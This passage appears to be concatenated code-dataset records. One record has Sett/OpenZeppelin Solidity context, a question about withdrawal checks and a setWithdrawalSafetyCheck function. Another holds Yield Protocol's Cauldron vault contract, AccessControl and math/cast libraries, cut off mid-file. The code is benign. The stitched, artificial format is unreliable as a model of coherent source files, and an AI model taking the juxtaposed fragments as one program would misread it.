whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.4.24 <0.7.0; /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( _initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } // SPDX-License-Identifier: MIT // SPDX-License-Identifier: MIT pragma solidity >=0.5.0 <0.8.0; interface IStrategy { function want() external view returns (address); function deposit() external; // NOTE: must exclude any tokens used in the yield // Controller role - withdraw should return to Controller function withdrawOther(address) external returns (uint256 balance); // Controller | Vault role - withdraw should always return to Vault function withdraw(uint256) external; // Controller | Vault role - withdraw should always return to Vault function withdrawAll() external returns (uint256); function balanceOf() external view returns (uint256); function getName() external pure returns (string memory); function setStrategist(address _strategist) external; function setWithdrawalFee(uint256 _withdrawalFee) external; function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external; function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external; function setGovernance(address _governance) external; function setController(address _controller) external; function tend() external; function harvest() external; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.11; import "../../deps/@openzeppelin/contracts-upgradeable/proxy/Initializable.sol"; /* Common base for permissioned roles throughout Sett ecosystem */ contract SettAccessControl is Initializable { address public governance; address public strategist; address public keeper; // ===== MODIFIERS ===== function _onlyGovernance() internal view { require(msg.sender == governance, "onlyGovernance"); } function _onlyGovernanceOrStrategist() internal view { require(msg.sender == strategist || msg.sender == governance, "onlyGovernanceOrStrategist"); } function _onlyAuthorizedActors() internal view { require(msg.sender == keeper || msg.sender == governance, "onlyAuthorizedActors"); } // ===== PERMISSIONED ACTIONS ===== /// @notice Change strategist address /// @notice Can only be changed by governance itself function setStrategist(address _strategist) external { _onlyGovernance(); strategist = _strategist; } /// @notice Change keeper address /// @notice Can only be changed by governance itself function setKeeper(address _keeper) external { _onlyGovernance(); keeper = _keeper; } /// @notice Change governance address /// @notice Can only be changed by governance itself function setGovernance(address _governance) public { _onlyGovernance(); governance = _governance; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; }
Should we check if the amount requested is more than what we can return on withdrawal?
function setWithdrawalSafetyCheck(bool newWithdrawalSafetyCheck) external { _onlyGovernance(); withdrawalSafetyCheck = newWithdrawalSafetyCheck; }
1,604,823
// SPDX-License-Identifier: BUSL-1.1 pragma solidity 0.8.6; import "@yield-protocol/vault-interfaces/IFYToken.sol"; import "@yield-protocol/vault-interfaces/IOracle.sol"; import "@yield-protocol/vault-interfaces/DataTypes.sol"; import "@yield-protocol/utils-v2/contracts/access/AccessControl.sol"; import "@yield-protocol/utils-v2/contracts/math/WMul.sol"; import "@yield-protocol/utils-v2/contracts/math/WDiv.sol"; import "@yield-protocol/utils-v2/contracts/math/WDivUp.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU128I128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastI128U128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U128.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256U32.sol"; import "@yield-protocol/utils-v2/contracts/cast/CastU256I256.sol"; import "./constants/Constants.sol"; library CauldronMath { /// @dev Add a number (which might be negative) to a positive, and revert if the result is negative. function add(uint128 x, int128 y) internal pure returns (uint128 z) { require (y > 0 || x >= uint128(-y), "Result below zero"); z = y > 0 ? x + uint128(y) : x - uint128(-y); } } contract Cauldron is AccessControl(), Constants { using CauldronMath for uint128; using WMul for uint256; using WDiv for uint256; using WDivUp for uint256; using CastU128I128 for uint128; using CastI128U128 for int128; using CastU256U128 for uint256; using CastU256U32 for uint256; using CastU256I256 for uint256; event AssetAdded(bytes6 indexed assetId, address indexed asset); event SeriesAdded(bytes6 indexed seriesId, bytes6 indexed baseId, address indexed fyToken); event IlkAdded(bytes6 indexed seriesId, bytes6 indexed ilkId); event SpotOracleAdded(bytes6 indexed baseId, bytes6 indexed ilkId, address indexed oracle, uint32 ratio); event RateOracleAdded(bytes6 indexed baseId, address indexed oracle); event DebtLimitsSet(bytes6 indexed baseId, bytes6 indexed ilkId, uint96 max, uint24 min, uint8 dec); event VaultBuilt(bytes12 indexed vaultId, address indexed owner, bytes6 indexed seriesId, bytes6 ilkId); event VaultTweaked(bytes12 indexed vaultId, bytes6 indexed seriesId, bytes6 indexed ilkId); event VaultDestroyed(bytes12 indexed vaultId); event VaultGiven(bytes12 indexed vaultId, address indexed receiver); event VaultPoured(bytes12 indexed vaultId, bytes6 indexed seriesId, bytes6 indexed ilkId, int128 ink, int128 art); event VaultStirred(bytes12 indexed from, bytes12 indexed to, uint128 ink, uint128 art); event VaultRolled(bytes12 indexed vaultId, bytes6 indexed seriesId, uint128 art); event SeriesMatured(bytes6 indexed seriesId, uint256 rateAtMaturity); // ==== Configuration data ==== mapping (bytes6 => address) public assets; // Underlyings and collaterals available in Cauldron. 12 bytes still free. mapping (bytes6 => DataTypes.Series) public series; // Series available in Cauldron. We can possibly use a bytes6 (3e14 possible series). mapping (bytes6 => mapping(bytes6 => bool)) public ilks; // [seriesId][assetId] Assets that are approved as collateral for a series mapping (bytes6 => IOracle) public lendingOracles; // Variable rate lending oracle for an underlying mapping (bytes6 => mapping(bytes6 => DataTypes.SpotOracle)) public spotOracles; // [assetId][assetId] Spot price oracles // ==== Protocol data ==== mapping (bytes6 => mapping(bytes6 => DataTypes.Debt)) public debt; // [baseId][ilkId] Max and sum of debt per underlying and collateral. mapping (bytes6 => uint256) public ratesAtMaturity; // Borrowing rate at maturity for a mature series // ==== User data ==== mapping (bytes12 => DataTypes.Vault) public vaults; // An user can own one or more Vaults, each one with a bytes12 identifier mapping (bytes12 => DataTypes.Balances) public balances; // Both debt and assets // ==== Administration ==== /// @dev Add a new Asset. function addAsset(bytes6 assetId, address asset) external auth { require (assetId != bytes6(0), "Asset id is zero"); require (assets[assetId] == address(0), "Id already used"); assets[assetId] = asset; emit AssetAdded(assetId, address(asset)); } /// @dev Set the maximum and minimum debt for an underlying and ilk pair. Can be reset. function setDebtLimits(bytes6 baseId, bytes6 ilkId, uint96 max, uint24 min, uint8 dec) external auth { require (assets[baseId] != address(0), "Base not found"); require (assets[ilkId] != address(0), "Ilk not found"); DataTypes.Debt memory debt_ = debt[baseId][ilkId]; debt_.max = max; debt_.min = min; debt_.dec = dec; debt[baseId][ilkId] = debt_; emit DebtLimitsSet(baseId, ilkId, max, min, dec); } /// @dev Set a rate oracle. Can be reset. function setLendingOracle(bytes6 baseId, IOracle oracle) external auth { require (assets[baseId] != address(0), "Base not found"); lendingOracles[baseId] = oracle; emit RateOracleAdded(baseId, address(oracle)); } /// @dev Set a spot oracle and its collateralization ratio. Can be reset. function setSpotOracle(bytes6 baseId, bytes6 ilkId, IOracle oracle, uint32 ratio) external auth { require (assets[baseId] != address(0), "Base not found"); require (assets[ilkId] != address(0), "Ilk not found"); spotOracles[baseId][ilkId] = DataTypes.SpotOracle({ oracle: oracle, ratio: ratio // With 6 decimals. 1000000 == 100% }); // Allows to replace an existing oracle. emit SpotOracleAdded(baseId, ilkId, address(oracle), ratio); } /// @dev Add a new series function addSeries(bytes6 seriesId, bytes6 baseId, IFYToken fyToken) external auth { require (seriesId != bytes6(0), "Series id is zero"); address base = assets[baseId]; require (base != address(0), "Base not found"); require (fyToken != IFYToken(address(0)), "Series need a fyToken"); require (fyToken.underlying() == base, "Mismatched series and base"); require (lendingOracles[baseId] != IOracle(address(0)), "Rate oracle not found"); require (series[seriesId].fyToken == IFYToken(address(0)), "Id already used"); series[seriesId] = DataTypes.Series({ fyToken: fyToken, maturity: fyToken.maturity().u32(), baseId: baseId }); emit SeriesAdded(seriesId, baseId, address(fyToken)); } /// @dev Add a new Ilk (approve an asset as collateral for a series). function addIlks(bytes6 seriesId, bytes6[] calldata ilkIds) external auth { DataTypes.Series memory series_ = series[seriesId]; require ( series_.fyToken != IFYToken(address(0)), "Series not found" ); for (uint256 i; i < ilkIds.length; i++) { require ( spotOracles[series_.baseId][ilkIds[i]].oracle != IOracle(address(0)), "Spot oracle not found" ); ilks[seriesId][ilkIds[i]] = true; emit IlkAdded(seriesId, ilkIds[i]); } } // ==== Vault management ==== /// @dev Create a new vault, linked to a series (and therefore underlying) and a collateral function build(address owner, bytes12 vaultId, bytes6 seriesId, bytes6 ilkId) external auth returns(DataTypes.Vault memory vault) { require (vaultId != bytes12(0), "Vault id is zero"); require (seriesId != bytes12(0), "Series id is zero"); require (ilkId != bytes12(0), "Ilk id is zero"); require (vaults[vaultId].seriesId == bytes6(0), "Vault already exists"); // Series can't take bytes6(0) as their id require (ilks[seriesId][ilkId] == true, "Ilk not added to series"); vault = DataTypes.Vault({ owner: owner, seriesId: seriesId, ilkId: ilkId }); vaults[vaultId] = vault; emit VaultBuilt(vaultId, owner, seriesId, ilkId); } /// @dev Destroy an empty vault. Used to recover gas costs. function destroy(bytes12 vaultId) external auth { DataTypes.Balances memory balances_ = balances[vaultId]; require (balances_.art == 0 && balances_.ink == 0, "Only empty vaults"); delete vaults[vaultId]; emit VaultDestroyed(vaultId); } /// @dev Change a vault series and/or collateral types. function _tweak(bytes12 vaultId, DataTypes.Vault memory vault) internal { require (vault.seriesId != bytes6(0), "Series id is zero"); require (vault.ilkId != bytes6(0), "Ilk id is zero"); require (ilks[vault.seriesId][vault.ilkId] == true, "Ilk not added to series"); vaults[vaultId] = vault; emit VaultTweaked(vaultId, vault.seriesId, vault.ilkId); } /// @dev Change a vault series and/or collateral types. /// We can change the series if there is no debt, or assets if there are no assets function tweak(bytes12 vaultId, bytes6 seriesId, bytes6 ilkId) external auth returns(DataTypes.Vault memory vault) { DataTypes.Balances memory balances_ = balances[vaultId]; vault = vaults[vaultId]; if (seriesId != vault.seriesId) { require (balances_.art == 0, "Only with no debt"); vault.seriesId = seriesId; } if (ilkId != vault.ilkId) { require (balances_.ink == 0, "Only with no collateral"); vault.ilkId = ilkId; } _tweak(vaultId, vault); } /// @dev Transfer a vault to another user. function _give(bytes12 vaultId, address receiver) internal returns(DataTypes.Vault memory vault) { require (vaultId != bytes12(0), "Vault id is zero"); vault = vaults[vaultId]; vault.owner = receiver; vaults[vaultId] = vault; emit VaultGiven(vaultId, receiver); } /// @dev Transfer a vault to another user. function give(bytes12 vaultId, address receiver) external auth returns(DataTypes.Vault memory vault) { vault = _give(vaultId, receiver); } // ==== Asset and debt management ==== function vaultData(bytes12 vaultId, bool getSeries) internal view returns (DataTypes.Vault memory vault_, DataTypes.Series memory series_, DataTypes.Balances memory balances_) { vault_ = vaults[vaultId]; require (vault_.seriesId != bytes6(0), "Vault not found"); if (getSeries) series_ = series[vault_.seriesId]; balances_ = balances[vaultId]; } /// @dev Convert a debt amount for a series from base to fyToken terms. /// @notice Think about rounding up if using, since we are dividing. function debtFromBase(bytes6 seriesId, uint128 base) external returns (uint128 art) { if (uint32(block.timestamp) >= series[seriesId].maturity) { DataTypes.Series memory series_ = series[seriesId]; art = uint256(base).wdivup(_accrual(seriesId, series_)).u128(); } else { art = base; } } /// @dev Convert a debt amount for a series from fyToken to base terms function debtToBase(bytes6 seriesId, uint128 art) external returns (uint128 base) { if (uint32(block.timestamp) >= series[seriesId].maturity) { DataTypes.Series memory series_ = series[seriesId]; base = uint256(art).wmul(_accrual(seriesId, series_)).u128(); } else { base = art; } } /// @dev Move collateral and debt between vaults. function stir(bytes12 from, bytes12 to, uint128 ink, uint128 art) external auth returns (DataTypes.Balances memory, DataTypes.Balances memory) { require (from != to, "Identical vaults"); (DataTypes.Vault memory vaultFrom, , DataTypes.Balances memory balancesFrom) = vaultData(from, false); (DataTypes.Vault memory vaultTo, , DataTypes.Balances memory balancesTo) = vaultData(to, false); if (ink > 0) { require (vaultFrom.ilkId == vaultTo.ilkId, "Different collateral"); balancesFrom.ink -= ink; balancesTo.ink += ink; } if (art > 0) { require (vaultFrom.seriesId == vaultTo.seriesId, "Different series"); balancesFrom.art -= art; balancesTo.art += art; } balances[from] = balancesFrom; balances[to] = balancesTo; if (ink > 0) require(_level(vaultFrom, balancesFrom, series[vaultFrom.seriesId]) >= 0, "Undercollateralized at origin"); if (art > 0) require(_level(vaultTo, balancesTo, series[vaultTo.seriesId]) >= 0, "Undercollateralized at destination"); emit VaultStirred(from, to, ink, art); return (balancesFrom, balancesTo); } /// @dev Add collateral and borrow from vault, pull assets from and push borrowed asset to user /// Or, repay to vault and remove collateral, pull borrowed asset from and push assets to user function _pour( bytes12 vaultId, DataTypes.Vault memory vault_, DataTypes.Balances memory balances_, DataTypes.Series memory series_, int128 ink, int128 art ) internal returns (DataTypes.Balances memory) { // For now, the collateralization checks are done outside to allow for underwater operation. That might change. if (ink != 0) { balances_.ink = balances_.ink.add(ink); } // Modify vault and global debt records. If debt increases, check global limit. if (art != 0) { DataTypes.Debt memory debt_ = debt[series_.baseId][vault_.ilkId]; balances_.art = balances_.art.add(art); debt_.sum = debt_.sum.add(art); uint128 dust = debt_.min * uint128(10) ** debt_.dec; uint128 line = debt_.max * uint128(10) ** debt_.dec; require (balances_.art == 0 || balances_.art >= dust, "Min debt not reached"); if (art > 0) require (debt_.sum <= line, "Max debt exceeded"); debt[series_.baseId][vault_.ilkId] = debt_; } balances[vaultId] = balances_; emit VaultPoured(vaultId, vault_.seriesId, vault_.ilkId, ink, art); return balances_; } /// @dev Manipulate a vault, ensuring it is collateralized afterwards. /// To be used by debt management contracts. function pour(bytes12 vaultId, int128 ink, int128 art) external auth returns (DataTypes.Balances memory) { (DataTypes.Vault memory vault_, DataTypes.Series memory series_, DataTypes.Balances memory balances_) = vaultData(vaultId, true); balances_ = _pour(vaultId, vault_, balances_, series_, ink, art); if (balances_.art > 0 && (ink < 0 || art > 0)) // If there is debt and we are less safe require(_level(vault_, balances_, series_) >= 0, "Undercollateralized"); return balances_; } /// @dev Reduce debt and collateral from a vault, ignoring collateralization checks. /// To be used by liquidation engines. function slurp(bytes12 vaultId, uint128 ink, uint128 art) external auth returns (DataTypes.Balances memory) { (DataTypes.Vault memory vault_, DataTypes.Series memory series_, DataTypes.Balances memory balances_) = vaultData(vaultId, true); balances_ = _pour(vaultId, vault_, balances_, series_, -(ink.i128()), -(art.i128())); return balances_; } /// @dev Change series and debt of a vault. /// The module calling this function also needs to buy underlying in the pool for the new series, and sell it in pool for the old series. function roll(bytes12 vaultId, bytes6 newSeriesId, int128 art) external auth returns (DataTypes.Vault memory, DataTypes.Balances memory) { (DataTypes.Vault memory vault_, DataTypes.Series memory oldSeries_, DataTypes.Balances memory balances_) = vaultData(vaultId, true); DataTypes.Series memory newSeries_ = series[newSeriesId]; require (oldSeries_.baseId == newSeries_.baseId, "Mismatched bases in series"); // Change the vault series vault_.seriesId = newSeriesId; _tweak(vaultId, vault_); // Change the vault balances balances_ = _pour(vaultId, vault_, balances_, newSeries_, 0, art); require(_level(vault_, balances_, newSeries_) >= 0, "Undercollateralized"); emit VaultRolled(vaultId, newSeriesId, balances_.art); return (vault_, balances_); } // ==== Accounting ==== /// @dev Return the collateralization level of a vault. It will be negative if undercollateralized. function level(bytes12 vaultId) external returns (int256) { (DataTypes.Vault memory vault_, DataTypes.Series memory series_, DataTypes.Balances memory balances_) = vaultData(vaultId, true); return _level(vault_, balances_, series_); } /// @dev Record the borrowing rate at maturity for a series function mature(bytes6 seriesId) external { require (ratesAtMaturity[seriesId] == 0, "Already matured"); DataTypes.Series memory series_ = series[seriesId]; _mature(seriesId, series_); } /// @dev Record the borrowing rate at maturity for a series function _mature(bytes6 seriesId, DataTypes.Series memory series_) internal { require (uint32(block.timestamp) >= series_.maturity, "Only after maturity"); IOracle rateOracle = lendingOracles[series_.baseId]; (uint256 rateAtMaturity,) = rateOracle.get(series_.baseId, RATE, 0); // The value returned is an accumulator, it doesn't need an input amount ratesAtMaturity[seriesId] = rateAtMaturity; emit SeriesMatured(seriesId, rateAtMaturity); } /// @dev Retrieve the rate accrual since maturity, maturing if necessary. function accrual(bytes6 seriesId) external returns (uint256) { DataTypes.Series memory series_ = series[seriesId]; return _accrual(seriesId, series_); } /// @dev Retrieve the rate accrual since maturity, maturing if necessary. /// Note: Call only after checking we are past maturity function _accrual(bytes6 seriesId, DataTypes.Series memory series_) private returns (uint256 accrual_) { uint256 rateAtMaturity = ratesAtMaturity[seriesId]; if (rateAtMaturity == 0) { // After maturity, but rate not yet recorded. Let's record it, and accrual is then 1. _mature(seriesId, series_); } else { IOracle rateOracle = lendingOracles[series_.baseId]; (uint256 rate,) = rateOracle.get(series_.baseId, RATE, 0); // The value returned is an accumulator, it doesn't need an input amount accrual_ = rate.wdiv(rateAtMaturity); } accrual_ = accrual_ >= 1e18 ? accrual_ : 1e18; // The accrual can't be below 1 (with 18 decimals) } /// @dev Return the collateralization level of a vault. It will be negative if undercollateralized. function _level( DataTypes.Vault memory vault_, DataTypes.Balances memory balances_, DataTypes.Series memory series_ ) internal returns (int256) { DataTypes.SpotOracle memory spotOracle_ = spotOracles[series_.baseId][vault_.ilkId]; uint256 ratio = uint256(spotOracle_.ratio) * 1e12; // Normalized to 18 decimals (uint256 inkValue,) = spotOracle_.oracle.get(vault_.ilkId, series_.baseId, balances_.ink); // ink * spot if (uint32(block.timestamp) >= series_.maturity) { uint256 accrual_ = _accrual(vault_.seriesId, series_); return inkValue.i256() - uint256(balances_.art).wmul(accrual_).wmul(ratio).i256(); } return inkValue.i256() - uint256(balances_.art).wmul(ratio).i256(); } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@yield-protocol/utils-v2/contracts/token/IERC20.sol"; interface IFYToken is IERC20 { /// @dev Asset that is returned on redemption. function underlying() external view returns (address); /// @dev Unix time at which redemption of fyToken for underlying are possible function maturity() external view returns (uint256); /// @dev Record price data at maturity function mature() external; /// @dev Mint fyToken providing an equal amount of underlying to the protocol function mintWithUnderlying(address to, uint256 amount) external; /// @dev Burn fyToken after maturity for an amount of underlying. function redeem(address to, uint256 amount) external returns (uint256); /// @dev Mint fyToken. /// This function can only be called by other Yield contracts, not users directly. /// @param to Wallet to mint the fyToken in. /// @param fyTokenAmount Amount of fyToken to mint. function mint(address to, uint256 fyTokenAmount) external; /// @dev Burn fyToken. /// This function can only be called by other Yield contracts, not users directly. /// @param from Wallet to burn the fyToken from. /// @param fyTokenAmount Amount of fyToken to burn. function burn(address from, uint256 fyTokenAmount) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IOracle { /** * @notice Doesn't refresh the price, but returns the latest value available without doing any transactional operations: * @return value in wei */ function peek(bytes32 base, bytes32 quote, uint256 amount) external view returns (uint256 value, uint256 updateTime); /** * @notice Does whatever work or queries will yield the most up-to-date price, and returns it. * @return value in wei */ function get(bytes32 base, bytes32 quote, uint256 amount) external returns (uint256 value, uint256 updateTime); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IFYToken.sol"; import "./IOracle.sol"; library DataTypes { struct Series { IFYToken fyToken; // Redeemable token for the series. bytes6 baseId; // Asset received on redemption. uint32 maturity; // Unix time at which redemption becomes possible. // bytes2 free } struct Debt { uint96 max; // Maximum debt accepted for a given underlying, across all series uint24 min; // Minimum debt accepted for a given underlying, across all series uint8 dec; // Multiplying factor (10**dec) for max and min uint128 sum; // Current debt for a given underlying, across all series } struct SpotOracle { IOracle oracle; // Address for the spot price oracle uint32 ratio; // Collateralization ratio to multiply the price for // bytes8 free } struct Vault { address owner; bytes6 seriesId; // Each vault is related to only one series, which also determines the underlying. bytes6 ilkId; // Asset accepted as collateral } struct Balances { uint128 art; // Debt amount uint128 ink; // Collateral amount } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "hardhat/console.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. * * Roles are referred to by their `bytes4` identifier. These are expected to be the * signatures for all the functions in the contract. Special roles should be exposed * in the external API and be unique: * * ``` * bytes4 public constant ROOT = 0x00000000; * ``` * * Roles represent restricted access to a function call. For that purpose, use {auth}: * * ``` * function foo() public auth { * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `ROOT`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {setRoleAdmin}. * * WARNING: The `ROOT` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ contract AccessControl { struct RoleData { mapping (address => bool) members; bytes4 adminRole; } mapping (bytes4 => RoleData) private _roles; bytes4 public constant ROOT = 0x00000000; bytes4 public constant ROOT4146650865 = 0x00000000; // Collision protection for ROOT, test with ROOT12007226833() bytes4 public constant LOCK = 0xFFFFFFFF; // Used to disable further permissioning of a function bytes4 public constant LOCK8605463013 = 0xFFFFFFFF; // Collision protection for LOCK, test with LOCK10462387368() /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role * * `ROOT` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes4 indexed role, bytes4 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call. */ event RoleGranted(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes4 indexed role, address indexed account, address indexed sender); /** * @dev Give msg.sender the ROOT role and create a LOCK role with itself as the admin role and no members. * Calling setRoleAdmin(msg.sig, LOCK) means no one can grant that msg.sig role anymore. */ constructor () { _grantRole(ROOT, msg.sender); // Grant ROOT to msg.sender _setRoleAdmin(LOCK, LOCK); // Create the LOCK role by setting itself as its own admin, creating an independent role tree } /** * @dev Each function in the contract has its own role, identified by their msg.sig signature. * ROOT can give and remove access to each function, lock any further access being granted to * a specific action, or even create other roles to delegate admin control over a function. */ modifier auth() { require (_hasRole(msg.sig, msg.sender), "Access denied"); _; } /** * @dev Allow only if the caller has been granted the admin role of `role`. */ modifier admin(bytes4 role) { require (_hasRole(_getRoleAdmin(role), msg.sender), "Only admin"); _; } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes4 role, address account) external view returns (bool) { return _hasRole(role, account); } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes4 role) external view returns (bytes4) { return _getRoleAdmin(role); } /** * @dev Sets `adminRole` as ``role``'s admin role. * If ``role``'s admin role is not `adminRole` emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function setRoleAdmin(bytes4 role, bytes4 adminRole) external virtual admin(role) { _setRoleAdmin(role, adminRole); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes4 role, address account) external virtual admin(role) { _grantRole(role, account); } /** * @dev Grants all of `role` in `roles` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function grantRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _grantRole(roles[i], account); } } /** * @dev Sets LOCK as ``role``'s admin role. LOCK has no members, so this disables admin management of ``role``. * Emits a {RoleAdminChanged} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function lockRole(bytes4 role) external virtual admin(role) { _setRoleAdmin(role, LOCK); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes4 role, address account) external virtual admin(role) { _revokeRole(role, account); } /** * @dev Revokes all of `role` in `roles` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - For each `role` in `roles`, the caller must have ``role``'s admin role. */ function revokeRoles(bytes4[] memory roles, address account) external virtual { for (uint256 i = 0; i < roles.length; i++) { require (_hasRole(_getRoleAdmin(roles[i]), msg.sender), "Only admin"); _revokeRole(roles[i], account); } } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes4 role, address account) external virtual { require(account == msg.sender, "Renounce only for self"); _revokeRole(role, account); } function _hasRole(bytes4 role, address account) internal view returns (bool) { return _roles[role].members[account]; } function _getRoleAdmin(bytes4 role) internal view returns (bytes4) { return _roles[role].adminRole; } function _setRoleAdmin(bytes4 role, bytes4 adminRole) internal virtual { if (_getRoleAdmin(role) != adminRole) { _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, adminRole); } } function _grantRole(bytes4 role, address account) internal { if (!_hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, msg.sender); } } function _revokeRole(bytes4 role, address account) internal { if (_hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, msg.sender); } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WMul { // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Multiply an amount by a fixed point factor with 18 decimals, rounds down. function wmul(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * y; unchecked { z /= 1e18; } } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WDiv { // Fixed point arithmetic in 18 decimal units // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Divide an amount by a fixed point factor with 18 decimals function wdiv(uint256 x, uint256 y) internal pure returns (uint256 z) { z = (x * 1e18) / y; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library WDivUp { // Fixed point arithmetic in 18 decimal units // Taken from https://github.com/usmfum/USM/blob/master/contracts/WadMath.sol /// @dev Divide x and y, with y being fixed point. If both are integers, the result is a fixed point factor. Rounds up. function wdivup(uint256 x, uint256 y) internal pure returns (uint256 z) { z = x * 1e18 + y; // 101 (1.01) / 1000 (10) -> (101 * 100 + 1000 - 1) / 1000 -> 11 (0.11 = 0.101 rounded up). unchecked { z -= 1; } // Can do unchecked subtraction since division in next line will catch y = 0 case anyway z /= y; } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastU128I128 { /// @dev Safely cast an uint128 to an int128 function i128(uint128 x) internal pure returns (int128 y) { require (x <= uint128(type(int128).max), "Cast overflow"); y = int128(x); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastI128U128 { /// @dev Safely cast an int128 to an uint128 function u128(int128 x) internal pure returns (uint128 y) { require (x >= 0, "Cast overflow"); y = uint128(x); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastU256U128 { /// @dev Safely cast an uint256 to an uint128 function u128(uint256 x) internal pure returns (uint128 y) { require (x <= type(uint128).max, "Cast overflow"); y = uint128(x); } } // SPDX-License-Identifier: BUSL-1.1 pragma solidity ^0.8.0; library CastU256U32 { /// @dev Safely cast an uint256 to an u32 function u32(uint256 x) internal pure returns (uint32 y) { require (x <= type(uint32).max, "Cast overflow"); y = uint32(x); } } // 